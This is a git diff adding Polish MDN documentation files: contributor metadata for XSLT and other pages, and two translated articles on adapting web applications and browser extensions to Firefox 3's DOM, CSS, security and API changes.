+ "Web/XSLT/Transformacje_XML_z_XSLT/Przeczytaj_więcej": {
+ "modified": "2019-03-23T23:48:25.932Z",
+ "contributors": [
+ "SphinxKnight",
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/apply-imports": {
+ "modified": "2019-01-16T16:04:10.129Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/apply-templates": {
+ "modified": "2019-01-16T15:56:15.770Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/attribute": {
+ "modified": "2019-01-16T16:04:08.328Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/attribute-set": {
+ "modified": "2019-01-16T16:04:06.202Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/call-template": {
+ "modified": "2019-01-16T16:04:02.137Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/choose": {
+ "modified": "2019-01-16T15:43:24.557Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/comment": {
+ "modified": "2019-01-16T16:04:07.126Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/copy": {
+ "modified": "2019-01-16T16:04:06.489Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/copy-of": {
+ "modified": "2019-01-16T15:56:06.624Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/decimal-format": {
+ "modified": "2019-01-16T16:04:06.645Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/fallback": {
+ "modified": "2019-01-16T16:04:02.164Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/for-each": {
+ "modified": "2019-01-16T16:03:48.737Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/if": {
+ "modified": "2019-03-23T23:46:04.423Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/import": {
+ "modified": "2019-01-16T16:04:02.775Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/include": {
+ "modified": "2019-01-16T16:04:00.167Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/key": {
+ "modified": "2019-01-16T16:04:00.126Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82",
+ "Bedi"
+ ]
+ },
+ "Web/XSLT/message": {
+ "modified": "2019-01-16T15:55:54.853Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/namespace-alias": {
+ "modified": "2019-01-16T16:03:46.013Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/number": {
+ "modified": "2019-03-23T23:47:56.436Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/otherwise": {
+ "modified": "2019-01-16T16:04:00.381Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/output": {
+ "modified": "2019-01-16T16:04:00.215Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82",
+ "Bedi",
+ "Michal borek pl"
+ ]
+ },
+ "Web/XSLT/param": {
+ "modified": "2019-01-16T16:04:00.223Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/preserve-space": {
+ "modified": "2019-01-16T16:04:00.228Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/processing-instruction": {
+ "modified": "2019-01-16T16:04:00.064Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/sort": {
+ "modified": "2019-01-16T16:02:15.902Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/strip-space": {
+ "modified": "2019-01-16T16:04:00.187Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/stylesheet": {
+ "modified": "2019-01-16T14:50:04.672Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Filemon",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/template": {
+ "modified": "2019-01-16T15:56:09.826Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82",
+ "Michal borek pl"
+ ]
+ },
+ "Web/XSLT/text": {
+ "modified": "2019-03-23T23:45:58.964Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/transform": {
+ "modified": "2019-01-16T15:56:10.001Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/value-of": {
+ "modified": "2019-03-23T23:46:05.049Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Michal borek pl",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/variable": {
+ "modified": "2019-01-16T16:03:49.132Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/when": {
+ "modified": "2019-01-16T16:03:46.040Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/XSLT/with-param": {
+ "modified": "2019-01-16T16:03:44.076Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "WebAssembly": {
+ "modified": "2020-05-12T10:24:52.590Z",
+ "contributors": [
+ "mbiesiad",
+ "AndrzejSala"
+ ]
+ },
+ "WebSockets": {
+ "modified": "2019-04-12T05:40:44.038Z",
+ "contributors": [
+ "sunpietro",
+ "DawidNowak",
+ "Jacqbus"
+ ]
+ },
+ "Wsparcie_przeglądarek_dla_elementów_HTML": {
+ "modified": "2019-03-23T23:50:15.322Z",
+ "contributors": [
+ "Mgjbot",
+ "Ptak82",
+ "Emil"
+ ]
+ },
+ "XHTML": {
+ "modified": "2019-03-23T23:46:31.012Z",
+ "contributors": [
+ "Diablownik",
+ "Ptak82",
+ "gandalf"
+ ]
+ },
+ "XMLHttpRequest": {
+ "modified": "2019-03-23T23:55:55.505Z",
+ "contributors": [
+ "fnevgeny",
+ "Flaneur",
+ "Bedi",
+ "Mgjbot",
+ "Ptak82",
+ "Ziombka",
+ "gandalf"
+ ]
+ },
+ "XMLHttpRequest/Using_XMLHttpRequest": {
+ "modified": "2019-03-23T23:07:00.318Z",
+ "contributors": [
+ "sopi"
+ ]
+ },
+ "dziesiec_lat_mdn": {
+ "modified": "2019-03-23T22:43:45.633Z",
+ "contributors": [
+ "RemigiuszBrzebrzycki",
+ "kamilcios"
+ ]
+ },
+ "nsIInputStream": {
+ "modified": "2019-04-20T03:56:57.732Z",
+ "contributors": [
+ "wbamberg",
+ "Bedi",
+ "Ptak82"
+ ]
+ },
+ "nsIXULAppInfo": {
+ "modified": "2019-04-20T00:22:03.815Z",
+ "contributors": [
+ "wbamberg",
+ "Diablownik",
+ "Bedi",
+ "Joeaccord"
+ ]
+ }
+} \ No newline at end of file
diff --git a/files/pl/aktualizacja_aplikacji_internetowych_dla_firefoksa_3/index.html b/files/pl/aktualizacja_aplikacji_internetowych_dla_firefoksa_3/index.html
new file mode 100644
index 0000000000..65742220e4
--- /dev/null
+++ b/files/pl/aktualizacja_aplikacji_internetowych_dla_firefoksa_3/index.html
@@ -0,0 +1,93 @@
+---
+title: Aktualizacja aplikacji internetowych dla Firefoksa 3
+slug: Aktualizacja_aplikacji_internetowych_dla_Firefoksa_3
+tags:
+ - Firefox 3
+translation_of: Mozilla/Firefox/Releases/3/Updating_web_applications
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p>{{ Fx_minversion_header(3) }} W przygotowywanym wydaniu programu Firefox w wersji 3 dokonano wielu zmian, które mogą wpłynąć na działanie witryn lub aplikacji internetowych. Wprowadzono także nowe funkcje, które mogą być przydatne dla autorów tych witryn lub aplikacji. Ten artykuł zawiera informacje na temat przystosowania serwisów internetowych do Firefoksa 3 w celu jak najpełniejszego wykorzystania możliwości nowej przeglądarki.</p>
+
+<h3 id="Zmiany_w_obs.C5.82udze_DOM" name="Zmiany_w_obs.C5.82udze_DOM">Zmiany w obsłudze DOM</h3>
+
+<p></p><p>Przed włączeniem węzłów pochodzących z zewnętrznych dokumentów do bieżącego dokumentu konieczne jest ich sklonowanie za
+ pomocą metody <a href="/pl/docs/Web/API/Document/importNode" title="Tworzy kopię węzła z zewnętrznego dokumentu, która może być umieszczona wewnątrz bieżącego dokumentu."><code>document.importNode()</code></a> (lub zaadaptowanie przy użyciu metody <a class="new" href="/pl/docs/Web/API/Document/adoptNode" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>document.adoptNode()</code></a>). Więcej informacji na temat własności
+ <a class="new" href="/pl/docs/Web/API/Node/ownerDocument" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>Node.ownerDocument</code></a> znajduje się na liście najczęściej zadawanych pytań na <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">temat
+ DOM w witrynie W3C</a>.</p>
+
+ <p>Aktualnie Firefox nie wymusza tej reguły (robił to przez pewien czas podczas cykli rozwojowych Firefoksa 3, ale zbyt
+ dużo stron przestawało działać po wymuszeniu tej reguły). Zachęcamy autorów stron do poprawienia ich kodu dla lepszej
+ kompatybilności w przyszłości.</p><p></p>
+
+<h3 id="Zmiany_w_obs.C5.82udze_HTML" name="Zmiany_w_obs.C5.82udze_HTML">Zmiany w obsłudze HTML</h3>
+
+<h4 id="Zmiany_w_dziedziczeniu_zestawu_znak.C3.B3w" name="Zmiany_w_dziedziczeniu_zestawu_znak.C3.B3w">Zmiany w dziedziczeniu zestawu znaków</h4>
+
+<p>W programie Firefox 3 naprawiono lukę w zabezpieczeniach, w wyniku której ramki (elementy <code>frame</code> i <code>iframe</code>) dziedziczyły ustawienia kodowania znaków elementu nadrzędnego, co w określonych przypadkach powodowało problemy. Obecnie ramki mogą dziedziczyć ustawienia kodowania znaków elementu nadrzędnego jedynie wówczas, gdy zarówno ramka, jak i element nadrzędny znajdują się na tym samym serwerze. W przypadku korzystania z ramek, których zawartość pobierana jest z zewnętrznego serwera, należy określić właściwe kodowanie znaków dla ramki w kodzie HTML elementu <code>frame</code>.</p>
+
+<h4 id="Zmiana_w_elemencie_SCRIPT" name="Zmiana_w_elemencie_SCRIPT">Zmiana w elemencie SCRIPT</h4>
+
+<p>Element <code><span class="nowiki">&lt;script&gt;</span></code> w dokumentach <code>text/html</code> wymaga teraz domknięcia <code><span class="nowiki">&lt;/script&gt;</span></code> w dokumentach HTML, nawet jeśli nie wpisujesz żadnej treści do środka. Podczas gdy w poprzednich wersjach Firefoksa mogłeś zrobić:</p>
+
+<pre class="eval">&lt;script ... /&gt;
+</pre>
+
+<p>Teraz składnia musi być zgodna ze specyfikacją HTML (jeśli jest to dokument HTML), zatem trzeba domknąć ten znacznik tak:</p>
+
+<pre class="eval">&lt;script ...&gt;&lt;/script&gt;
+</pre>
+
+<p>Poprawia to zarówno kompatbilność jak i spójność.</p>
+
+<h3 id="CSS_changes" name="CSS_changes">Zmiany w interpretatorze CSS</h3>
+
+<h4 id="Change_to_font-size_based_on_em.2C_ex_units" name="Change_to_font-size_based_on_em.2C_ex_units">Change to font-size based on em, ex units</h4>
+
+<p>font-size values in em and ex units used to be affected by the user's minimum font size setting: if a font was displayed larger due to the minimum font size, the em and ex units for font-size settings based on this one would be enlarged accordingly. This was inconsistent with the way percentage-based font sizes behaved.</p>
+
+<p>font-size values in em and ex units are now based on an "intended font size" that is not affected by the user's minimum font size. In other words, font sizes are always calculated according to the designer's intention and are adjusted for minimum font size afterwards.</p>
+
+<p>See <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=322943" rel="freelink">https://bugzilla.mozilla.org/attachment.cgi?id=322943</a> for a demonstration (must be watched with a minimum font size &gt;= 6 to see the difference: the two box cascades behave differently in Firefox 2, because the em-based font-size "bounces" off the minimum font size).</p>
+
+<h3 id="Security_changes" name="Security_changes">Zmiany bezpieczeństwa</h3>
+
+<h4 id="Chrome_access" name="Chrome_access">Dostęp poprzez chrome</h4>
+
+<p>W poprzednich wersjach Firefox, każda strona internetowa mogła załadować skrypty lub obrazy poprzez chrome, używając protokołu <code><a class="external" rel="freelink">chrome://</a></code>. Dzięki temu, strony m.in. mogły wykrywać obecność dodatków - co niestety bywało używane do omijania wtyczek, które zwiększały bezpieczeństwo użytkownika.</p>
+
+<p>Firefox 3 umożliwia użycie jedynie następujących przestrzeni: <code><a class="external" rel="freelink">chrome://browser/</a></code> oraz <code><a class="external" rel="freelink">chrome://toolkit/</a></code>. Pliki w tych katalogach są dostępne dla stron internetowych, natomiast cała reszta zawartości chrome jest zabezpieczona przed ingerencją.</p>
+
+<p>Mimo to, istnieje możliwość odbezpieczania innych miejsc chrome poprzez rozszerzenia. Wtyczki mogą ustawić specjalną flagę w pliku <code>chrome.manifest</code>:</p>
+
+<pre class="eval">content mypackage location/ contentaccessible=yes
+</pre>
+
+<p>Ta opcja nie powinna być zbyt często potrzebna, ale jest dostępna w rzadkich, wymagających jej wypadkach. Zauważ, że Firefox może zaalarmować użytkownika, jeśli twoje rozszerzenie używa flagi <code>contentaccessible</code>, z powodu ewentualnego zagrożenia bezpieczeństwa.</p>
+
+<div class="note"><strong>Uwaga:</strong> Ponieważ Firefox 2 ignoruje linie z flagą <code>contentaccessible</code>, jeśli chcesz by twoja wtyczka była kompatybilna z Firefox 2 i Firefox 3, muisz napisać:
+
+<pre class="eval">content mypackage location/
+content mypackage location/ contentaccessible=yes
+</pre>
+</div>
+
+<h4 id="File_upload_fields" name="File_upload_fields">Pola wrzucania plików</h4>
+
+<p>In prior versions of Firefox, there were cases in which when the user submitted a file for uploading, the entire path of the file was available to the web application. This privacy concern has been resolved in Firefox 3; now only the filename itself is available to the web application.</p>
+
+<h3 id="Zmiany_w_obs.C5.82udze_JavaScript" name="Zmiany_w_obs.C5.82udze_JavaScript">Zmiany w obsłudze JavaScript</h3>
+
+<p>Program Firefox 3 obsługuje <a href="/pl/Nowo%C5%9Bci_w_JavaScript_1.8" title="pl/Nowości_w_JavaScript_1.8">język JavaScript w wersji 1.8</a>. Istotną zmianą, która może wymagać aktualizacji witryn lub aplikacji internetowych, jest wyłączenie obsługi przestarzałych i niestandardowych obiektów <code>Script</code>. Ze względu na niezgodność tych obiektów ze standardami nie były one jednak często wykorzystywane, więc zmiana ta w większości przypadków nie powinna sprawiać problemów.</p>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<ul>
+ <li><a href="/pl/Firefox_3_dla_programist%C3%B3w" title="pl/Firefox_3_dla_programistów">Firefox 3 dla programistów</a></li>
+ <li><a href="/pl/Nowo%C5%9Bci_w_JavaScript_1.8" title="pl/Nowości_w_JavaScript_1.8">Nowości w JavaScript 1.8</a></li>
+ <li><a href="/pl/Aktualizacja_rozszerze%C5%84_dla_Firefoksa_3" title="pl/Aktualizacja_rozszerzeń_dla_Firefoksa_3">Aktualizacja rozszerzeń dla Firefoksa 3</a></li>
+</ul>
+
+<p> </p>
+
+<p>{{ languages( { "en": "en/Updating_web_applications_for_Firefox_3", "es": "es/Actualizar_aplicaciones_web_para_Firefox_3", "fr": "fr/Mise_\u00e0_jour_des_applications_Web_pour_Firefox_3", "ja": "ja/Updating_web_applications_for_Firefox_3" } ) }}</p>
diff --git a/files/pl/aktualizacja_rozszerzeń_dla_firefoksa_3/index.html b/files/pl/aktualizacja_rozszerzeń_dla_firefoksa_3/index.html
new file mode 100644
index 0000000000..225437339b
--- /dev/null
+++ b/files/pl/aktualizacja_rozszerzeń_dla_firefoksa_3/index.html
@@ -0,0 +1,145 @@
+---
+title: Aktualizacja rozszerzeń dla Firefoksa 3
+slug: Aktualizacja_rozszerzeń_dla_Firefoksa_3
+tags:
+ - Firefox 3
+---
+<p>W tym artykule znajdują się informacje dla deweloperów chcących dostosować swoje rozszerzenia do pracy w Firefox 3.</p>
+
+<p>Zanim przejdziemy dalej, chcemy przedstawić jedną pomocną wskazówkę: jeśli jedyną zmianą, której wymaga twoje rozszerzenie, jest zmiana pola <code>maxVersion</code> w jego manifeście instalacji, i przechowujesz rozszerzenie na <a class="link-https" href="https://addons.mozilla.org">addons.mozilla.org</a>, nie potrzebujesz teraz wgrywać nowej wersji swojego rozszerzenia. Po prostu użyj Developer Control Panel na AMO, by ustawić <code>maxVersion</code>. W ten sposób możesz uniknąć konieczności ponownego zrecenzowania rozszerzenia.</p>
+
+<h3 id="Krok_1_Aktualizacja_manifestu_instalacji" name="Krok_1:_Aktualizacja_manifestu_instalacji">Krok 1: Zaaktualizuj manifest instalacji</h3>
+
+<p>Pierwszym krokiem - dla wielu rozszerzeń jedynym, jaki będzie potrzebny - jest aktualizacja pliku <a href="/pl/Manifesty_Instalacji" title="pl/Manifesty_Instalacji">manifestu instalacji</a>, <code>install.rdf</code>.</p>
+
+<p>Wystarczy znaleźć linię wskazującą maksymalną kompatybilną wersję Firefoksa (która dla Firefoksa 2, może wyglądać podobnie jak linia poniżej):</p>
+
+<pre class="eval"> <span class="nowiki">&lt;em:maxVersion&gt;2.0.0.*&lt;/em:maxVersion&gt;</span>
+</pre>
+
+<p>Zmieniamy ją, wskazując kompatybilność z Firefoksem w wersji 3:</p>
+
+<pre class="eval"> <span class="nowiki">&lt;em:maxVersion&gt;3.0.*&lt;/em:maxVersion&gt;</span>
+</pre>
+
+<p>Następnie ponownie instalujemy rozszerzenie.</p>
+
+<p>Zauważ, że program Firefox 3 nie potrzebuje dodatkowego ".0" w numerze wersji, tak więc zamiast "3.0.0.* możesz używać tylko "3.0.*".</p>
+
+<div class="blockIndicator note"><strong>Uwaga:</strong> Zauważ, że Firefox 3 nadal zmienia się. Te zmiany mogą spowodować nieprawidłowe działanie niektórych rozszerzeń, więc nie powinieneś udostępniać użytkownikom rozszerzenia z <code>maxVersion</code> <code>3.0.*</code> zanim Firefox 3 w wersji RC nie zostanie wypuszczony. W okresie Firefox 3 Beta powinieneś używać<code>3.0b3</code> jako <code>maxVersion</code>.</div>
+
+<p>Pewne zmiany API nadal będą wprowadzane. Zmiany te prawdopodobnie zmienią działanie niektórych rodzajów rozszerzeń. Nadal pracujemy nad kompilacją kompletnej listy tychże zmian.</p>
+
+<div class="blockIndicator note"><strong>Uwaga:</strong> Jeżeli twoje rozszerzenia nadal używają skryptu <code><a href='"pl/Install.js"'>Install.js</a></code> zamiast manifestu instalacyjnego (ang. install manifest), musisz natychmiast przekompilować swoje rozszerzenia do manifestu instalacyjnego. Firefox 3 nie obsługuje już skryptów <code>install.js</code> w plikach XPI.</div>
+
+<h4 id="Dodawanie_lokalizacji_do_manifestu_instalacji" name="Dodawanie_lokalizacji_do_manifestu_instalacji">Dodawanie lokalizacji do manifestu instalacji</h4>
+
+<p>Firefox 3 obsługuje nowe własności w manifeście instalacji do wskazujących zlokalizowanych opisów. Stare metody nadal będą działać, jednakże nowe pozwolą Firefoksowi zebrać lokalizacje nawet gdy opcja dodatków jest wyłączona i oczekuje na instalację. Zobacz artykuł nt. <a href="/pl/Lokalizacja_opisu_rozszerzenia" title="pl/Lokalizacja_opisu_rozszerzenia">lokalizacji opisu rozszerzenia</a>, aby uzyskać więcej informacji.</p>
+
+<h3 id="Krok_2_Upewnij_si.C4.99.2C_.C5.BCe_dostarczasz_bezpiecznych_aktualizacji" name="Krok_2:_Upewnij_si.C4.99.2C_.C5.BCe_dostarczasz_bezpiecznych_aktualizacji">Krok 2: Upewnij się, że dostarczasz bezpiecznych aktualizacji</h3>
+
+<p>Jeśli trzymasz rozszerzenie na własnym serwerze i nie jest to bezpieczny dostawca hostingu tak jak na przykład <a class="link-https" href="https://addons.mozilla.org">addons.mozilla.org</a> to musisz zapewnić bezpieczną metodę aktualizacji Twojego dodatku. This will either involve hosting your updates on an SSL website, or using cryptographic keys to sign the update information. Przeczytaj artykuł <a href="/pl/Wersjonowanie_rozszerzenia,_aktualizacja_i_kompatybilno%C5%9B%C4%87#Securing_Updates" title="pl/Wersjonowanie_rozszerzenia,_aktualizacja_i_kompatybilność#Securing_Updates">Securing Updates</a>, aby zdobyć więcej informacji.</p>
+
+<h3 id="Krok_3_Uporaj_si.C4.99_ze_zmianami_w_API" name="Krok_3:_Uporaj_si.C4.99_ze_zmianami_w_API">Krok 3: Uporaj się ze zmianami w API</h3>
+
+<p>Kilka API zostało zmienione w znaczny sposób. Najbardziej zmienione, które najprawdopodobniej będą miały wpływ na duża liczbę rozszerzeń, to:</p>
+
+<h4 id="DOM" name="DOM">DOM</h4>
+
+
+<p>Przed włączeniem węzłów pochodzących z zewnętrznych dokumentów do bieżącego dokumentu konieczne jest ich sklonowanie za
+ pomocą metody <a href="/pl/docs/Web/API/Document/importNode" title="Tworzy kopię węzła z zewnętrznego dokumentu, która może być umieszczona wewnątrz bieżącego dokumentu."><code>document.importNode()</code></a> (lub zaadaptowanie przy użyciu metody <a class="new" href="/pl/docs/Web/API/Document/adoptNode" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>document.adoptNode()</code></a>). Więcej informacji na temat własności
+ <a class="new" href="/pl/docs/Web/API/Node/ownerDocument" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>Node.ownerDocument</code></a> znajduje się na liście najczęściej zadawanych pytań na <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">temat
+ DOM w witrynie W3C</a>.</p>
+
+ <p>Aktualnie Firefox nie wymusza tej reguły (robił to przez pewien czas podczas cykli rozwojowych Firefoksa 3, ale zbyt
+ dużo stron przestawało działać po wymuszeniu tej reguły). Zachęcamy autorów stron do poprawienia ich kodu dla lepszej
+ kompatybilności w przyszłości.</p>
+
+<h4 id="Zak.C5.82adki__Historia" name="Zak.C5.82adki_&amp;_Historia">Zakładki &amp; Historia</h4>
+
+<p>Jeśli twoje rozszerzenie w jakikolwiek sposób dotyczy listy Zakładek lub Historii, będzie ono wymagało dodatkowych zmian, aby poprawnie działać z Firefoksem 3. Stare API dla tych list zostało zastąpione nową architekturą <a href="/pl/Miejsca" title="pl/Miejsca">Miejsca</a>. Zobacz <a href="/pl/Places/Migration_Guide" title="pl/Places/Migration_Guide">Migration Guide for Places</a>, by uzyskać szczegóły aktualizacji.</p>
+
+<h4 id="Menad.C5.BCer_Pobierania" name="Menad.C5.BCer_Pobierania">Menadżer pobierania</h4>
+
+<p>API Menedżera pobierania zmieniło się nieznacznie ze względu na przejście z RDF do przechowywania danych za pomocą <a href="/pl/Storage" title="pl/Storage">Storage</a> API. To powinno być dość łatwe do przejścia. Interfejs API do monitorowania postępu pobierania został zmieniony w celu wspierania wielu czytników Menedżera pobierania. W celu zdobycia większej liczby informacji, idź do <code><a href="/pl/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadManager" title="">nsIDownloadManager</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadProgressListener" title="">nsIDownloadProgressListener</a></code> i <a href="/pl/Monitoring_downloads" title="pl/Monitoring_downloads">Monitoring downloads</a>.</p>
+
+<h4 id="Mened.C5.BCer_hase.C5.82" name="Mened.C5.BCer_hase.C5.82">Menadżer haseł</h4>
+
+<p>Jeśli twoje rozszerzenie wykorzystuje Menadżer haseł do logowania użytkownika, konieczne będzie dostosowanie się do nowego API Menedżera logowania.</p>
+
+<ul>
+ <li>Artykuł <a href="/pl/Using_nsILoginManager" title="pl/Using_nsILoginManager">Using nsILoginManager</a> zawiera przykłady w jaki sposób należy zapisać rozszerzenie do pracy zarówno z Menadżerem haseł jak i Menadżerem logowania, więc będzie działał zarówno z Firefoksa 3 jak i ze starszymi wersjami.</li>
+ <li><code><a href="/pl/NsILoginInfo" title="pl/NsILoginInfo">nsILoginInfo</a></code></li>
+ <li><code><a href="/pl/NsILoginManager" title="pl/NsILoginManager">nsILoginManager</a></code></li>
+</ul>
+
+<h4 id="Popups_.28menu.2C_menu_kontekstowe.2C_Podpowiedzi_i_paneli.29" name="Popups_.28menu.2C_menu_kontekstowe.2C_Podpowiedzi_i_paneli.29">Popups (menu, menu kontekstowe, podpowiedzi i paneli)</h4>
+
+<p>XUL Popup system został mocno zmodyfikowany w Firefoksie 3. Popup System zawiera główne menu, menu kontekstowego i pop-panele. Przewodnik za pomocą Popups została utworzona, dowiedzą się jak działa system. Jedną rzeczą jest, aby zapamiętać, że <a href="/pl/XUL/PopupGuide" title="pl/XUL/PopupGuide">using Popups</a> <code>popup.<span id="m-showPopup"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/showPopup">showPopup</a></code></span></code> <code>popup.został wycofany na rzecz nowych<span id="m-openPopup"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/openPopup">openPopup</a></code></span></code> i <code>popup.<span id="m-openPopupAtScreen"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/openPopupAtScreen">openPopupAtScreen</a></code></span></code>.</p>
+
+<h4 id="Removed_interfaces" name="Removed_interfaces">Usunięte interfejsy</h4>
+
+<p>Następujące interfejsy zostały usunięte z Gecko 1.9. Jeśli rozszerzenie korzysta z któregoś z podanych, musisz zaaktualizować kod:</p>
+
+<ul>
+ <li><code>nsIDOMPaintListener</code></li>
+ <li><code>nsIDOMScrollListener</code></li>
+ <li><code>nsIDOMMutationListener</code></li>
+ <li><code>nsIDOMPageTransitionListener</code></li>
+ <li><code>nsICloseAllWindows</code> (zobacz <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=386200" title='FIXED: SeaMonkey only: no "view cert button" in untrusted cert error dialog'>błąd 386200</a>)</li>
+</ul>
+
+<h3 id="Krok_4_kilka_istotnych_zmian_chrom" name="Krok_4:_kilka_istotnych_zmian_chrom">Krok 4: Kilka istotnych zmian chrome</h3>
+
+<p>Nastąpiły niewielkie zmiany w chrome, które mogą wymagać zmian w kodzie. Nowy <code>vbox</code> został dodany, tak zwany " bottombox przeglądarki", który załącza się w pasku górnym i pasku stanu na dole okna przeglądarki. Chociaż nie ma to wpływu na wygląd wyświetlacza, może wpłynąć na rozszerzenie czy chrome nakładki w stosunku do tych elementów.</p>
+
+<p>Na przykład, jeśli wcześniej pokrył niektóre chrome sprzed pasku stanu, w taki sposób:</p>
+
+<pre>&lt;window id="main-window"&gt;
+ &lt;something insertbefore="status-bar" /&gt;
+&lt;/window&gt;
+</pre>
+
+<p><br>
+ Teraz nakładka powinna wyglądać w taki sposób:</p>
+
+<pre>&lt;vbox id="browser-bottombox"&gt;
+ &lt;something insertbefore="status-bar" /&gt;
+&lt;/vbox&gt;
+</pre>
+
+<div class="blockIndicator note"><strong>Uwaga:</strong> Zmiana została wprowadzona w Firefox w wersjach beta 3 i 4 pre-beta 4 nightlies.</div>
+
+<h3 id="Inne_zmiany" name="Inne_zmiany">Inne zmiany</h3>
+
+<ul>
+ <li>Implementacje <code><a href="/pl/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAboutModule" title="">nsIAboutModule</a></code> są obecnie wymagane w celu wsparcia <code>getURIFlags</code> metody. Zobacz <a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/protocol/about/public/nsIAboutModule.idl" rel="custom">nsIAboutModule.idl</a> dla dokumentacji.</li>
+</ul>
+
+<p>Dotyczy to rozszerzenia, które zapewniają nowe URI.(<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=337746" title='FIXED: [FIX]Move "safe about" hardcoding out of security manager'>błąd 337746</a>)</p>
+
+<ul>
